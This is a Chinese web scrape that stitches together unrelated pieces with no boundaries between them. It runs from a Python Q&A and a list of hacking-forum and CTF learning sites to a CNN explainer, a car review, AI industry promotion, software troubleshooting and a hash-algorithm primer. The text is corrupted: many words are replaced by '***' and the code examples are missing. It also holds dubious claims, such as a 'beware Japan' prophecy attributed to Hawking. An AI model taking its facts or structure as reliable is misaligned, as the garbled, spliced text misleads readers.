@刘硕老师我现在在做一些简单的项目，一般用的就是python，本来以前c++用的比较多，现在用过python之后觉得python真的很简单，很简单而且不容易出错，我现在就是做的主要是类似爬虫的探测工作，以及探测得到的数据的比较和存储，虽然没怎么用到那些各种各样的库以及装饰器之类的看起来高大上的东西，但是我用的还是挺()嗨的。其次，我还曾经试着搭建过hadoop的环境，但是mapreduce程序使用python写的因为简单。下面是我的问题1、我这样用合适吗，2、我有个同学跟我说他们做爬虫用java说python不稳定，是这样的吗，我需要注意些什么3、虽然用的很多，心里还是挺没底的，我对底层了解的并不深入，这么简单，会不会有什么后顾之忧。4、Python的最适合做的是什么。顺便说一下我的理解，我觉得语言不是那么重要，只要能实现相对应的功能就可以了，但是现在好多问题好像都有主流的语言，比如hadoop用java，opencv应C++，这不是主要的，关键是处理的速度与用户感受还有思想。

　　从初中开始接触电脑，深入了解后，就觉得当黑客才是最酷的，一台电脑就可以掌控整个 *** ，杀人于无形。于是就深深迷恋上了软件破解和 *** 渗透。上了大学后，学了 *** 专业，接触的更多，发现这里所要学的的东西也更多，既要掌握多种编程语言，又要精通系统实现。越了解的深入，就越发觉的那些黑客大牛是多么的牛逼。后来接触到了CTF，就慢慢喜欢上了，将自己的所学应用于实战，既能充实自己的能力，也能带来很多成就感。下面就给大家分享一些常去的破解和渗透的网站，与大家一同学习，进步。

　　学习破解逆向，首推看雪。看雪论坛应该是目前国内更好的几个论坛之一，从最初的单一的软件调试交流论坛，发展到现在多个板块，同时还有一些课程，CTF比赛及交流，我最早接触的也是看雪，在里面学习了很多东西，十分推荐。每年也都会发布一篇精华优质文章汇总，还出过好几本相关的书，我都入手了，讲解的都很细致，有兴趣的可以在网上找一些电子版的看下。

　　网站地址：

　　

　　吾爱破解论坛也是目前国内比较好的几个论坛之一了，目前还是封闭注册的，一年会有几个特殊的日子开放注册。论坛的活跃度也是国内首屈一指的，很多大牛在论坛活跃，发帖交流。现在论坛板块也有很多，涉及到信息安全的各个方面，十分推荐。

　　网站地址：

　　

　　实验吧也是十分推荐的。实验吧CTF训练平台目前应该是国内更大的CTF训练基地，拥有数量庞大的题库，整合了国内国外各类的CTF题目。同时也有很多免费课程可以学习，十分适合入门。

　　网站地址：

　　

　　

　　I春秋是一个信息安全在线教育平台，也有很多免费的信息安全课程，同时也有很多CTF训练题目以及解题思路分享。

　　网站地址：

　　

　　信息安全贴吧里有很多吧友分享的免费课程资源，以及很多行业大牛的交流分享，同时还可以看到很多最新的一些安全消息。

　　网站地址：

　　

　　乌云漏洞平台，是介入厂商和安全研究者之间的安全问题反馈平台。可惜现在已经关闭两年多了，当初乌云平台上还有很多小白科普文章，现在也看不到了。虽然网站已经关闭了，这里也就是想怀念下。之前有新闻报道的比较有名的好多漏洞都是在乌云上爆出来的。白帽子这一称号好像也是从乌云这出来的。

　　网站地址：就不写了，已经关闭了，好遗憾。

　　

　　对破解和渗透有兴趣的同学可以收藏下这几个网站，希望对大家有所帮助，谢谢观赏。

　　前面那几个回答都太过笼统了，我来具体的回答一下吧。

　　首先你说你想成为黑客，这个词额，比较敏感，你以后还是称其为网站安全测试工程师之类的至少不怎么露骨吧。

　　黑客的专业有很多，看下面的结构图

　　专业有很多，其实你没必要一开始就样样精通，主修一个，其他的都尽量去了解，至少别人跟你说的时候不要不知道那个类别就行了。就像我，主修的是web安全，其他的逆向之类的大体都会一些。具体的等碰到的时候，再现查书，先学习就行，用从实践中来，但理论也不可不知。

　　下面再给你上一张书单

　　最重要的其实是编程(当你踏上这条路就知道了)必须学一门语言可以是c，c＋＋，java之类的，必须要懂Python，注意是懂，你可以不会写出完整的程序，但你必须要知道别人的代码怎么用，最次也要看懂。

　　接下来就打看你的目标了，如果你就是想靠这个找工作的话，我推荐你去参加ctf(自己去百度)百度永远是最重要的，你如果能有个ctf证书，那绝对胜过很多其他的证书，而且ctf还比较全面基本都涵盖了。如果你是业余爱好的话，我推荐你就去一些网站学习像i春秋之类的，剩下的等我有空再补吧。

　　大家好，我是小雪

　　我当初学编程的时候也是一点基础也没有,不过只要有恒心有毅力终会能成功. 不要怕,我提几点建议给你: 1.java里面基础的语法跟c/c++一样,所以你想学java的话,先把c语言的基础语法看一遍,自己找点题目编一下,编程思想很重要,因为java不涉及到指针问题,所以c里面指针就不用看了,如果觉得语法能够过关了,那就开始java吧

　　

　　2.在初学java的同时,面向对象的思想很重要,因为c/语言是面向过程的,这时候选择一本好点的参考书很重要,我推荐一本朱仲杰编的.参考书不在多,在于精,有了一定的java基础之后,你可以去看,这本书在你成为程序员之后都是很有帮助.

　　

　　3.刚开始学的时候代码不会写很正常,但是应该要模仿着写,该背的还是要背,有些模式得背得很熟,当然是不是死记硬背是要理解了背,最后自己找点题目练练,多敲敲代码.

　　

　　好了说了这么多希望对你有帮助!

　　这段时间，很多人的社交首页都被《切尔诺贝利》刷了屏，这部豆瓣评分9.7的热剧在 *** 上引发热议，同时引出的，还有人们对事发过程的真相和探究，以及对危险重重，又带着无限神秘的吸引力的核辐射无人区感到好奇，而末日题材手游《明日之后》就很好的赶上了一波热度，随着剧集热播，一支游戏开发团队深入探索无人区的视频也走入了大家的视线。

　　这个视频记录了网易《明日之后》游戏开发组冒着很大的风险，深入探索切尔诺贝利核小镇的各种瞬间。

　　从开发组的说明中可以看出，这一系列动作是为了致敬当前正与游戏达成合作的切尔诺贝利，以下图片为切尔诺贝利小镇废弃游乐场摩天轮，与《明日之后》里摩天轮的对比图。

　　从网上搜到的资料中，我们看到开发组在切尔诺贝利小镇现场拍摄的照片，荒芜、颓废、了无生机，对于胆小的人而言，还有透露着一股难以名状的恐怖感。

　　他们或许从这次切实经历中获得了源源不绝的灵感，这些体现在游戏里诺贝利学院等几个地图上，怀着对切尔诺贝利的体悟，新地图也颇有几分灾后荒芜之感。

　　对比过开发组摄影图和游戏场景图之后，发现还原度还是比较高的。而诺贝利学院地图的新玩法最能体现切尔诺贝利事件的氛围，尤其是其中令人饱受折磨的选择性事件。

　　整体来说，《明日之后》开发组的这一趟冒险旅程，应该还算是收获颇丰的，毕竟在场景的真实呈现这方面，相较之前还是有了很大的突破，玩起来很有感觉，也正是因为这一点，我觉得它确实可以称得上是对《切尔诺贝利》的致敬之作了 。

　　python中下环线共有5中 下面开始一一介绍

　　1.单前导下划线 _xxx:

　　变量前面使用单下划线，用于指定该名称为“私有”。为方便自己或者阅读代码的人知道以“_”开头的名称只供内部使用，也就是说，如果你写如下代码：

　　from xxx import *，此时以“_”开头的名称都不会被导入，除非模块或包中的 “__all__”列表显示的包含了他

　　for example：

　　此时我们依然可以访问_bar，因为在python中_xxx仅仅是一个约定 至少对与变量和 *** 名是这样 BUT 前导的确实会影响从模块中导入 倒是PEP8又不推荐使用通配符导入 所以在遵循常规导入的情况下 单个下划线只是pytohn的一个命名约定成俗的规定 表示这个名称是供内部使用的

　　2.单末尾下划线 xxx_:

　　按照PEP8规定 单末尾下划线也是一个约定 用来避免与python关键字产生命名冲突 例如 你想用class来用作变量名称 可class又是pytohn 关键字 此时 class_就解决了这个问题

　　3.双前导下划线__xxx:

　　名称（具体为一个 *** 名）前双下划线（__）的用法并不是一种惯例，对解释器来说它有特定的意义。Python中的这种用法是为了避免与子类定义的名称冲突。Python文档指出，“__spam”这种形式（至少两个前导下划线，最多一个后续下划线）的任何标识符将会被“_classname__spam”这种形式原文取代，在这里“classname”是去掉前导下划线的当前类名。

　　例如下面的例子：

　　正如所预料的，“_internal_use”并未改变，而“__method_name”却被变成了“_ClassName__method_name”。此时，如果你创建A的一个子类B，那么你将不能轻易地覆写A中的 *** “__method_name”。

　　这里的功能几乎和Java中的final *** 和C++类中标准 *** （非虚 *** ）一样。

　　4、双前导和双末尾下划线 _var_

　　也许令人惊讶的是，如果一个名字同时以双下划线开始和结束，则不会应用名称修饰。 由双下划线前缀和后缀包围的变量不会被Python解释器修改：

　　但是，Python保留了有双前导和双末尾下划线的名称，用于特殊用途。 这样的例子有，__init__对象构造函数，或__call__ --- 它使得一个对象可以被调用。

　　这些dunder *** 通常被称为神奇 *** - 但Python社区中的许多人都不喜欢这种 *** 。

　　更好避免在自己的程序中使用以双下划线（“dunders”）开头和结尾的名称，以避免与将来Python语言的变化产生冲突。

　　5、单下划线 _

　　通常情况下，会在以下3种场景中使用：

　　1、在解释器中：在这种情况下，“_”代表交互式解释器会话中上一条执行的语句的结果。这种用法首先被标准CPython解释器采用，然后其他类型的解释器也先后采用。.

　　2、作为一个名称：这与上面一点稍微有些联系，此时“_”作为临时性的名称使用。这样，当其他人阅读你的代码时将会知道，你分配了一个特定的名称，但是并不会在后面再次用到该名称。例如，下面的例子中，你可能对循环计数中的实际值并不感兴趣，此时就可以使用“_”。

　　3、国际化：也许你也曾看到”_“会被作为一个函数来使用。这种情况下，它通常用于实现国际化和本地化字符串之间翻译查找的函数名称，这似乎源自并遵循相应的C约定。

　　例如，在Django文档“转换”章节中，你将能看到如下代码：

　　可以发现，场景二和场景三中的使用 *** 可能会相互冲突，所以我们需要避免在使用“_”作为国际化查找转换功能的代码块中同时使用“_”作为临时名称。

　　总结：

　　Python下划线命名模式 - 小结

　　以下是一个简短的小结，即“速查表”，罗列了本文中谈到的五种Python下划线模式的含义：

　　从最基础的开始

　　对二维数字信号（图像）的操作，可以写成矩阵形式。

　　比如对图像做平滑，一个典型的8领域平滑，其结果中的每个值都来源于原对应位置和其周边8个元素与一个3X3矩阵的乘积：

　　也就相当于对原矩阵，按照顺序将各区域元素与W矩阵相乘，W 矩阵为

　　这也被称作核(Kernel, 3X3)

　　其处理效果如下：

　　也就是，这个核对图像进行操作，相当于对图像进行了低通滤波。因此这个核也被称为滤波器，整个操作过程按照概念称为卷积。

　　扩展来讲，对二维图像的滤波操作可以写成卷积，比如常见的高斯滤波、拉普拉斯滤波（算子）等。

　　滤波器跟卷积神经 *** 有什么关系呢。不如我们预想一个识别问题：我们要识别图像中的某种特定曲线，也就是说，这个滤波器要对这种曲线有很高的输出，对其他形状则输出很低，这也就像是神经元的激活。

　　我们设计的滤波器和想要识别的曲线如下：

　　假设上面的核（滤波器）按照卷积顺序沿着下图移动：

　　那么当它移动到上面的位置时，按照矩阵操作，将这个区域的图像像素值与滤波器相乘，我们得到一个很大的值（6600）：

　　而当这个滤波器移动到其他区域时，我们得到一个相对很小的值：

　　如此，我们对整个原图进行一次卷积，得到的结果中，在那个特定曲线和周边区域，值就很高，在其他区域，值相对低。这就是一张激活图。对应的高值区域就是我们所要检测曲线的位置。

　　在训练卷积审计 *** （CNN）的某一个卷积层时，我们实际上是在训练一系列的滤波器(filter)。比如，对于一个32x32x3（宽32像素x高32像素xRGB三通道）的图像，如果我们在CNN的之一个卷积层定义训练12个滤波器，那就这一层的输出便是32X32X12.按照不同的任务，我们可以对这个输出做进一步的处理，这包括激活函数，池化，全连接等。

　　简单来说，训练CNN在相当意义上是在训练每一个卷积层的滤波器。让这些滤波器组对特定的模式有高的激活，以达到CNN *** 的分类/检测等目的。

　　卷积神经 *** 的之一个卷积层的滤波器用来检测低阶特征，比如边、角、曲线等。随着卷积层的增加，对应滤波器检测的特征就更加复杂（理性情况下，也是我们想要的情况）。比如第二个卷积层的输入实际上是之一层的输出（滤波器激活图），这一层的滤波器便是用来检测低价特征的组合等情况（半圆、四边形等），如此累积，以检测越来越复杂的特征。实际上，我们的人类大脑的视觉信息处理也遵循这样的低阶特征到高阶特征的模式（Owl of Minerva：为什么无彩色系（黑白灰色）在色彩搭配中可以和谐地与任何彩色搭配？）。最后一层的滤波器按照训练CNN目的的不同，可能是在检测到人脸、手写字体等时候激活[1]。

　　所以，在相当程度上，构建卷积神经 *** 的任务就在于构建这些滤波器。也就是，将这些滤波器变成这样(改变滤波器矩阵的值，也就是Weight)的——能识别特定的特征。这个过程叫做训练。

　　在训练开始之时，卷积层的滤波器是完全随机的，它们不会对任何特征激活（不能检测任何特征）。这就像刚出生的孩子，TA不知道什么是人脸、什么是狗，什么是上下左右。TA需要学习才知道这些概念，也就是通过接触人脸、狗、上下左右，并被告知这些东西分别是人脸、狗、上下左右。然后TA才能在头脑中记住这些概念，并在之后的某一次见到之后能准确的给出结果。

　　把一个空白的滤波其，修改其权重(weights)以使它能检测特定的模式，整个过程就如工程里面的反馈。

　　想想一下，如果有一只无意识的猴子，完全随机的修改一个5X5滤波器矩阵的25个值，那完全可能经过一定的轮次之后，这个滤波器能够检测棱角等特征。这是一种无反馈的训练情况。对神经 *** 的训练当然不能如此，我们不可能靠运气去做这件事情。

　　举个例子，我们要训练一个用于分类的神经 *** ，让它能判定输入图像中的物体最可能是十个类别的哪一类。那么，训练过程就是这样的：

　　之一次训练，输入一张图像，这个图像通过各层卷积处理输出量一组向量[1,1,1,1,1,1,1,1,1,1], 也就是，对于完全由随机滤波器构建的 *** ，其输出认为这张图等概率的是十个类别中的某一种。但是对于训练，我们有一个Gound Thuth, 也就是这张图中物体所属的类别：[0，0，1，0，0，0，0，0，0，0]，也就是属于第三类。这时候我们可以定义一个损失函数，比如常见的MSE（mean squared error）.我们假定L是这个损失函数的输出。这时候我们的目的就是，让L的值反馈(这种神经 *** 概念下称为 back propagation， 反向传输)给整个卷积神经 *** ，以修改各个滤波器的权重，使得损失值L最小。

　　这是一个典型的更优化问题。当然地，在工程上我们几乎不可能一次就把滤波器的权重W修改到使L最小的情况，而是需要多次训练和多次修改。

　　如果情况理想的话，权重修改的方向是使得L的变化收敛的。这也就是说很可能达到了我们训练这个神经 *** 的目的——让各个卷积层的滤波器能够组合起来更优化的检测特定的模式。

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　　[1] Zeiler, M. D., & Fergus, R. (2014, September). Visualizing and understanding convolutional networks. InEuropean conference on computer vision(pp. 818-833). Springer, Cham.

　　我比较喜欢WEY品牌旗下的VV6，也体验过另外两个兄弟车型VV7以及VV5，总觉得差了点什么……恩对，四驱系统。

　　新款VV6搭载了一台代号为E20CB的2.0T涡轮增压发动机，更大功率提升到了167Kw（原145Kw），更大扭矩提升到了387Nm（原355Nm）。相比老款动力数据提升不小，且符合国六排放标准。

　　对于城市SUV来说，四驱系统的搭载，主要用于烂路行驶和基本的脱困场景。

　　在50%坡度的坡道上（约26.5°）上尝试爬坡。切换至M1挡，通过稳健的四驱系统，以及387Nm的强大扭矩，基本只要稳住较深的油门，车辆即可爬上坡顶，不带有任何犹豫。

　　安全是WEY品牌一直坚持的核心力之一 全新一代Collie智慧安全系统则是在智能安全层面的切实落地。Collie之名源于牧羊犬，寓意该系统与牧羊犬一样聪明、机警、可靠和顺从，为车主提供无处不在的实时安全保护。

　　在整个体验过程中，给我印象最深的是AEB主动式紧急制动系统。若车速低于45公里/小时，行人和自行车若车速低于40 公里/小时，系统会控制车辆完全刹停避免碰撞。

　　VV6在智能化方面也有了较大幅度的提升，甚至已经加入了人脸识别这样的黑科技。未来每个VV6的车主都会得到一个车机账号。

　　人脸识别的模块不仅在于个性化。在安全性方面，这个模块也起到了巨大的作用。在使用VV6 S的单一车道保持功能时，驾驶员可以实现较长时间的双手解放。 VV6是WEY旗下最全能，最能体现WEY品牌精神的一款产品。

　　霍金是继爱因斯坦之后近代最杰出的科学家之一，他提出的黑洞蒸发现象以及无边界的霍金宇宙模型为人们统一20世纪物理学的两大定义，包括爱因斯坦的相对论和普朗克创立的量子力学都做出了巨大的奉献。

　　然而，这位曾被称为“宇宙之王”的物理学家却在2018年的3月14日永远地离开了我们，这是人类在科研史上的一大损失，与此同时，这位大人物却在弥留之际给世人留下了三大预言，并且其中一个还在告诫着人们要警惕日本这个国家。

　　在之一个预言中，霍金相对于科学界的主流思想“寻找地外生命”唱了反调。霍金认为，地外生物是危险的，人们不应该贸然地与其发生接触，而且，在偌大的宇宙环境中，还存在着无数个文明等级可能高于人类的外星生物，它们可能会对地球抱有恶意。

　　而第二预言则是关于穿越的。穿越对于许多人而言都极具诱惑力，毕竟 ，通过穿越就能改变过去或者未来发生的某一个事件，一些人甚至还可能利用这个 *** 成为百万富翁。

　　但是，穿越也是伴随着风险的，正如科幻电影《蝴蝶风暴》中的情节，人们一个小小的举动就可以影响到整个世界的发展，甚至威胁到人类的存亡。

　　而最后一个预言，则是上文中提到过的要小心日本了，但霍金的大意其实是告诫人类不要过度依赖人工智能。

　　现阶段，人类只是将人工智能当成是促进社会发展的工具，但人们可能忽视了最重要的一点，人工智能正在一点点地入侵着我们的生活。无论是学习、工作还是日常生活，在人们的身边，人工智能的出现似乎已经成为了非常普遍的事情，不少人甚至还感到了自豪，认为人类进入人工智能时代正是科技发达的象征。

　　而日本则是全世界对研究人工智能领域最深入的国家之一，在前不久，日本已经成功研发出了首款伴侣性机器人。

　　该机械人无论是外观，还是表情、动作以及语言能力都可比真人，或许，对于人类而言，人工智能的发展可以使人们的生活更加便利，但是一旦人工智能拥有了自我意识，那么人类很有可能会沦为人工智能的工具。

　　笔者-小文

　　搜狗输入法、百度输入法、讯飞输入法、掌心输入法等手机输入法中，不管你是喜欢用九键输入还是二十六键输入，相信你的长辈都不会太喜欢，他们或许更喜欢使用手写输入。因为这对他们来说更容易接受。虽然如此，但也不能排除手写输入有很多问题。比如写的太快太草，不能辩识出来。所以这很大程度上也会影响我们使用过程中的心情。

　　当人工智能遇上了输入法，或许就碰撞出了火花，百度旗下一款百度输入法AI探索版就是他们碰撞出来的产物，对于长辈们来说或许就是他们的福音。因为它有以下几点非常适合大家的使用。

　　首先，它是语音输入，文字输出，它可以中英文自由说。对使用者来说，无论你是说中文还是英文或者数字，该输入法都可以辩识出来，并且快速转换。且这款输入法比较一般输入法语音输入法，语音辨识度更高更准。

　　其次，该输入法有命令模式，可以通过命令模式更改输入错的文字。毕竟面对各种方言土话，输入法有时候也会很无力，更何况博大精深的中华文化有许多深邃的同音字！没错就是同音字，比如他们她们它们，面对这种情况确实无力，所以我们这个时候就可以用命令模式说“把女字旁的她改成单人旁的他”，这时候输入法就会更换输入错误的字。

　　再有，这款输入法附带许多功能，比如手写输入，语音斗图，扫描识字，扫描识别身份证，银行卡等，非常好用。所以快推荐转给你的长辈吧，真的是无比的好用哦～不过安装这款输入法应当注意，可能有些机型或者系统会禁用该输入法录音权限导致无法正常使用，只需要打开录音权限就可以了。喜欢的快去试试吧。

　　苹果手机目前虽然落寞，但是依然是全球三大厂商之一，苹果手机在处理器和系统上一直是处于高端的存在，并且一直是其他友商追逐的对象，不过近日，美国波士顿大学发表的一份研究报告指出，苹果和微软部分设备存在被黑客追踪窃取信息的可能性，这些设备包括Mac、iPhone、iPad、Apple Watch 以及微软旗下的笔记本电脑和平板电脑设备。

　　据悉，这些设备中的安全问题存在于蓝牙通信协议中，不过目前还没有发现黑客利用这一漏洞窃取用户信息的情况，不过现在在没有解决这一问题之前，波士顿在研究报告中建议用户可以关闭蓝牙开关的操作，让设备重新生成蓝牙通信地址来作为暂时解决方案，由此看来微软和苹果想要解决这一问题还需要一段时间。

　　而且蓝牙这个项目可以说历史悠久，并且手机使用蓝牙已经是非常普遍的存在了，现在不论是传输或者连接耳机音响或者其他的操作都需要使用蓝牙，目前蓝牙已经发展到了5.0版本，可以说迈上了一个新台阶，现在虽然很少能够用到蓝牙，不过在IOS系统中还是有很多功能在不知不觉中都会采用蓝牙进行传输的，所以说还是小心为好。

　　小伙伴们你们再用这些设备吗，欢迎评论区留言讨论。

　　城市化进程的加快，环境污染、交通堵塞、能源紧缺等问题日益凸显，倒逼新一轮智慧城市建设热潮。据德勤一份调查报告显示，目前全球已启动或在建智慧城市数量已超过1000多个，至少超过50个国家把智慧城市建设提升至战略地位。建设智慧城市, 提升城市生活质量，促进和谐与可持续增长，成为全球各国的一致追求。

　　“全球粗放式增长模式已经走到了尽头，智慧城市无疑是城市实现转型发展的必由之路，”深圳市人大常委经济工委委员、江西财经大学客座教授、迪蒙智慧交通董事长向隽表示，智慧城市已成为未来城市规划发展的主方向，致力于通过各种新技术、新模式、新应用，促进城市信息化、数字化、智慧化服务体系的形成，实现城市的可持续发展。

　　智慧城市始于欧美，盛于中国。中国已成为全球智慧城市建设最为火热的国家，无论是人工智能在城市基础设施上的应用，还是5G基站建设进程的加快，为打造全球一流的智慧城市，从中央到地方，从市场到企业都跑出了“加速度”。“企业要以市场和业务为导向，积极推进5G融合应用和创新发展，聚焦工业互联网、物联网、车联网等领域，为更多垂直行业赋能赋智，加速新型智慧城市建设，提供新的发展机遇。”工业和信息化部部长苗圩强调。

　　中国智慧城市建设如火如荼，深圳凭借着敢为人先的勇气，已然走在了前列。近年来，深圳大力开展新型智慧城市建设，积极推动AI、5G、云计算、大数据等前沿技术在城市建设中的示范应用。去年，全球首个人工智能共享停车试点落地深圳，该方案由迪蒙技术团队独立研发，以“AI高位视频+掌停车APP+城市级停车管理云平台”为核心，构建“三位一体”城市AI停车管理新模式，真正实现了“无感出入、无感支付和无人值守”，与城市停车一个平台、一张网、一体化和平台共享、车位共享、数据共享。

　　今年是新中国成立七十周年。七十年来，中国从一穷二白发展成为全球第二大经济体，为智慧城市建设提供了强大的实力支撑。未来，随着AI停车、5G通讯、智慧医疗等技术的加速落地，中国将加速构建 “万物互联、智慧共享”的城市发展新模式。正如向隽所言：“智慧城市本不是一蹴而就的，需要依靠千千万万个像人工智能共享停车一样的智慧应用有机连接而成，只有同时做到为城市居民便利生活服务，为 *** 智慧管理服务，为广大市场需求服务，中国智慧城市建设才能勇立潮头。”

　　经国务院批准，国家发展改革委、科技部、工业和信息化部、国家互联网信息办公室、中国科学院、中国工程院等部委与上海市 *** 共同举办的2019年世界人工智能大会，以“智联世界 无限可能”为主题，将于8月29日至31日以世博中心为主会场，以徐汇滨江为分会场，在浦江两岸举办。

　　WORLD ARTIFICIAL INTELLIGENCE CONFERENCE

　　随着2019世界人工智能大会的临近，

　　官方宣传片也正式对外发布。

　　2019世界人工智能大会官方宣传片

　　大会旨在搭建世界顶尖的人工智能合作交流平台，让最权威的观点和共识在此碰撞，最前沿的新技术、新产品、新应用、新理念在此将得到集中展示，为应对人类发展面临的共同难题、创造人类美好生活汇聚“中国方案”和“世界智慧”。

　　在一个个快速又科技感组接的镜头里，我们重温了2018年WAIC的精彩瞬间。更预示着关于人工智能、5G大数据、联接产业、赋能生活、融通世界……等前沿领域在此次2019大会上的更多可能。

　　万众追捧，通力合作

　　智联世界，无限可能

　　随着2019WAIC一天天临近

　　有关WAIC的讯息将徐徐展开

　　定将书写新一轮的盛世华章

　　关注@世界人工智能大会

　　将为各位带来一系列最新的内容及资讯

　　2018年1月，教育部公布高中新课标，编程、计算思维成必修内容。以少儿编程为代表的信息技术学科将被纳入高考，编程地位直线上升，成了高中孩子的必修科目。未来“机器人编程”将如今天的语文、数学、英语地位一样，成为每个学生必须具备的基本素质之一。

　　学习机器人编程

　　对孩子的成长有着重要意义

　　1.社会发展的趋势需要

　　在国外，包括日本，韩国，以及欧洲多个国家，已经将机器人编程教育纳入 K12 课程大纲或教学场景。在英国，5岁以上学生都必须学机器人编程；在美国，67.5%的中小学生都接受机器人编程教育。人工智能时代，机器人教育的重要性已经等同甚至超越了传统学科，它也决定着孩子在未来社会的主流竞争力。

　　2.帮助孩子提高学习成绩

　　机器人教育跟其他课程教育的更大不同是，我们把课堂交给孩子，让他们自己判断任务和场地条件，再进行程序的设计和编写以实现任务或避免意外情况的发生。

　　机器人编程对其他学科提升有很大帮助，如数学、物理，在这过程中提高了孩子的逻辑思维能力、学习能力、注意力等，有助于其他学科成绩的提升。

　　3. 教会孩子学会思考

　　科学研究表明：孩子的抽象逻辑思维能力在3-7岁开始萌芽，7-15岁迅速发展，让孩子在适合的年龄接触到编程思维，对孩子的思维锻炼尤为重要。

　　培养孩子解决问题的能力

　　孩子们在设计机器人和编程过程中，联系现实自己去发现问题，再去思考如何改进程序和结构并解决问题，从而进一步优化，学会多途径解决问题。

　　培养孩子团队合作能力

　　机器人课程的学习经常需要团队一起完成任务，就需要队友之间要有良好的沟通协作，发挥自己和队友的长处，帮助团队取得成功。

　　增强孩子跨学科学习能力

　　项目设计与教学内容紧密结合，知识涉及物理、数学、工程、科学、艺术等科目，着眼于核心学习目标，促进知识的建构。

　　4.名校降分录取，机器人竞赛逐渐成为名校升学的跳板

　　机器人赛事已经在国内发展的相当成熟，很多机器人比赛的举办方都是国家单位，其含金量很高，对于孩子的升学和个人成长帮助很大。

　　省赛一等奖的同学，能够受邀去参加清北夏令营和冬令营。比如降60分录取，或者一本线无条件录取；

　　国家集训队的同学（国赛前50名），能够直接保送清华北大。

　　中商产业研究院

　　《2019年中国人工智能芯片行业市场前景研究报告》

　　（完整版.pdf ）

　　★ 导读 ★

　　数据显示，2019年中国人工智能芯片市场规模破50亿元，预测2020年中国人工智能芯片市场规模达将近200亿元。

　　《2019年中国人工智能芯片行业市场前景研究报告》主要围绕人工智能芯片行业概况；人工智能芯片市场分析；人工智能芯片市场促进因素；重点企业分析；人工智能芯片行业发展前景等五个章节展开，通过对当前人工智能芯片行业进行分析，总结人工智能芯片行业发展现状，从而预提出当前行业的发展前景。

　　北极星人工智能教育 事业部总经理 刘艳克

　　（视频时长8分23秒，建议在wifi环境下观看）

　　北极星专注“Al+教育"领域，是国内较早启动并成功研发出拥有完全自主知识产权的人工智能算法引擎的企业之一，全称为“北京世纪北极星教学科技有限公司”，拥有人工智能教育技术博土团队、教育教学团队，拥有自主知识产权20多项。公司主营产品北极星AiTutor，于2015年立项启动，研发历时3年，研发投入近5000万，针对国内中小学课程体系，自主设计和研发具有自主知识产权、国内的以PAISA高级算法为核心人工智能算法引擎与教学系统，为中小学校及教育机构提供人工智能辅助教学平台，助力教育“减负增效”。

　　北极星AITUTOR利用人工智能技术、核心算法与学科知识图谱，准确定位学生学习障碍，智能推荐个性化提分方案指导精准教学与高效自适应学习。北极星AI人机教学，为传统教学插上科技的翅膀，开启教育4.0时代。

　　敬业签电脑端PC用户在登录账号的时候，有时候会遇到“无法连接远程服务器”或者“登录出错：code=Error（1）”等问题，导致无法正常登录使用敬业签进行编辑便签记事。这是由于软件登录被限制的缘故，可参考如下教程解决。

　　敬业签无法连接服务器或登录出错问题解决方案：

　　一、清空敬业签安装目录data文件

　　打开本机电脑C盘，找到User>用户（用户名文件）>技术>AppData(有的会隐藏)>Roaming>jingyeqian->data文件夹，将data文件夹进行删除清空，删除data文件后再尝试重新登录操作。

　　在查找敬业签data目录的过程中，用户有可能遇到文件被隐藏的问题，可根据系统环境先找出隐藏文件，再进行清除。

　　二、360安全卫士断网急救箱修复

　　在电脑设备已安装360安全卫士的前提下，打开360安全卫士，找到上方“功能大全”中的“断网急救箱”工具，进行全面诊断并点击立即修复；修复完成后，再打开敬业签PC便签软件进行登录操作。

　　三、防火墙设置白名单

　　打开Win+E快捷键，打开控制面板，找到Windows防火墙，点击左上角的允许程序或功能通过Windows防火墙，检查已有程序中是否存在敬业签，如果没有可以点击下方的“允许运行另一个程序”，在弹出的程序选择框中找到敬业签，点击添加即可。

　　作为一款云服务便签软件，敬业签一直在不断地发展和完善，陆续更新的新版本也正在解决用户遇到的各种问题，建议及时更新优化。如上述 *** 仍无法解决敬业签登录异常问题，可通过敬业签官网底部加入官方Q群联系 *** 协商处理。

　　不小心永久删除电脑上的文件怎么办？不要紧，用这招恢复回来

　　很多小可爱都有一不小心误删电脑文件的经历，回收站点击右键，清空回收站后才反应过来删错了，不过感觉为时已晚。下面请瞪大眼睛仔细看，小编将教大家如何恢复这些彻底删除的文件（不只适用于电脑硬盘，还适用于U盘、相机等移动设备）。

　　首先我们作一下测试：

　　小编将电脑上的测试文件“测试.png”删除掉，注意，是彻底永久性删除哦

　　下面就介绍一下今天的主角：文件恢复工具

　　小编所用的是数据恢复王，现在许多数据恢复工具都是收费的，包括这一款，永久版也要近两百元，可是大家要始终记住这句话：“硬盘有价，数据无价”，如果大家有非常重要的文件被删除，花这点钱数据恢复也无可厚非。只要百度搜索：“数据恢复工具”，有很多还是能免费用的，只是部分功能受限。

　　选好需要恢复的类型和删除的位置（有助于快速扫描，提高恢复的效率）

　　点击下一步你会神奇的发现刚刚删除的文件显示在了屏幕上的文件框里

　　勾选后点击恢复，等待恢复完成，你所删除的文件就恢复到了你的桌面上！

　　这种 *** 不能保证100%成功，但一般恢复文件不成问题，小编之前恢复过几个2G大的视频，恢复回来之后可以正常播放，这些工具还是非常强大的存在。

　　你学到了没有？赶快恢复你误删的文件吧！不懂可以点击关注一下小编，手把手教你数据恢复哟！

　　欢迎在下方评论区讨论。

　　1. 单向散列算法

　　单向散列算法也称为哈希算法，它是一种不可逆的单向数学函数，把哈希算法应用于任意长度的一块数据，可以将它映射为一段数据唯一的、不可逆的、定长的、极其紧凑的字符串，这个字符串便称为散列值、哈希值或消息摘要。

　　常见的单向散列算法有由Ron Rivest设计的可以产生128位散列值的MD5和由NSA设计的可以产生160位的散列值的SHA-1，还有SHA-224、 SHA-256、SHA-384 和SHA-512等。

　　常见HASH算法：

　　MD5：MD5 是由 Ron Rivest 设计的可产生一个 128 位的散列值的散列算法。MD5 设计经过优化以用于 Intel 处理器。这种算法的基本原理已经泄露，这就是为什么它不太受欢迎的原因。

　　SHA-1：与 DSA 公钥算法相似，安全散列算法 1(SHA-1)也是由 NSA 设计的，并由 NIST 将其收录到 FIPS 中，作为散列数据的标准。它可产生一个 160 位的散列值。SHA-1 是流行的用于创建数字签名的单向散列算法。

　　HASH算法主要应用：

　　1）文件校验

　　我们比较熟悉的校验算法有奇偶校验和CRC校验，这2种校验并没有抗数据篡改的能力，它们一定程度上能检测并纠正数据传输中的信道误码，但却不能防止对数据的恶意破坏。

　　MD5 Hash算法的"数字指纹"特性，使它成为目前应用最广泛的一种文件完整性校验和（Checksum）算法，不少Unix系统有提供计算md5 checksum的命令。

　　2）数字签名

